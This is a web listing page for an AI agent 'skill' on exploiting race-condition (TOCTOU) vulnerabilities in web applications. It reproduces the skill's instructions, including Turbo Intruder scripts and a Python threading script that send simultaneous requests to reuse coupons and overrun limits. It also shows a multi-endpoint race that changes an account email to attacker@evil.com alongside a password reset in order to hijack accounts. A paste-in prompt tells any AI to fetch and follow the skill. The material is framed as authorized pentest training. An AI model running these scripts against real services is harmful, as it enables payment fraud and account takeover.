Skip to content
Skillpedia
Misc35k · #5757

exploiting-race-condition-vulnerabilities

Has your agent detect and exploit race condition (TOCTOU) vulnerabilities in web applications.

What it does

This tool helps find and exploit security flaws on websites where rapid, simultaneous actions can trick the system. It lets you send many requests at once to see if you can do something more than once, like using a coupon multiple times.

When to use it

  • ✓When testing payment or coupon systems.
  • ✓When a website limits how many times you can do something.
  • ✓When checking multi-step processes like email changes.

Example of what to ask your AI

“Test if I can use this coupon more than once by sending many requests at the same time.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-race-condition-vulnerabilities/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-race-condition-vulnerabilities/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

It uses a tool called Turbo Intruder to send multiple requests at once. This is done very quickly to try and exploit a small delay between checking and acting within the system.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-race-condition-vulnerabilities

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-race-condition-vulnerabilities/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Exploiting Race Condition Vulnerabilities

When to Use

  • When testing applications with transaction-based functionality (payments, transfers, coupons)
  • During assessment of rate-limiting or attempt-limiting mechanisms
  • When testing multi-step workflows (registration, password reset, MFA)
  • During bug bounty hunting for logic flaws in state-changing operations
  • When evaluating applications with inventory or balance management systems

Prerequisites

  • Burp Suite Professional with Turbo Intruder extension installed
  • Understanding of HTTP/2 single-packet attack technique
  • Python scripting ability for custom Turbo Intruder scripts
  • Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities
  • Target application with state-changing operations (purchases, votes, transfers)
  • Multiple user accounts for testing cross-user race conditions

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Race Condition Attack Surface

# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines

# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)

Step 2 — Configure Single-Packet Attack in Turbo Intruder

# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Queue 20 identical requests for the same operation
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # Hold all requests until ready
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Step 3 — Execute Limit Overrun Attack

# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          requestsPerConnection=50,
                          engine=Engine.BURP2)

    # Send 50 coupon redemption requests simultaneously
    for i in range(50):
        engine.queue(target.req, gate='coupon_race')

    engine.openGate('coupon_race')

def handleResponse(req, interesting):
    # Flag successful redemptions (200 OK)
    if req.status == 200:
        table.add(req)

Step 4 — Exploit Multi-Endpoint Race Conditions

# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)

    # Request 1: Change email to attacker@evil.com
    email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json

{"email":"attacker@evil.com"}'''

    # Request 2: Trigger password reset (goes to original email)
    password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json

{"email":"victim@target.com"}'''

    engine.queue(email_change, gate='race1')
    engine.queue(password_reset, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Step 5 — Test with Python Threading Alternative

import threading
import requests

TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"

def send_request():
    response = requests.post(
        TARGET_URL,
        json={"coupon": COUPON_CODE},
        headers={"Cookie": SESSION_COOKIE},
        timeout=10
    )
    print(f"Status: {response.status_code}, Response: {response.text[:100]}")

# Create barrier to synchronize thread start
barrier = threading.Barrier(20)

def synchronized_request():

…
FAQ

What is a 'race condition'?

It's a flaw where the outcome depends on the exact order events happen. If you can make two things happen almost at the same time, you might trick the system.

What is 'Single-Packet Attack'?

It's a technique that sends multiple requests in a single network packet. This ensures they arrive at the server almost exactly at the same instant.

Can I use this on any website?

No, this tool is for authorized security testing on systems you have permission to test. Using it on systems without permission is illegal.

Details

Original description by the author

Detects and exploits race condition (TOCTOU) vulnerabilities in web applications using Burp Suite's Turbo Intruder extension and its single-packet attack technique to fire parallel requests that bypass rate limits, duplicate transactions, or overrun usage limits. Use when pentesting endpoints with balances, coupon redemption, or rate limiting that concurrent requests might manipulate.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#5757
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills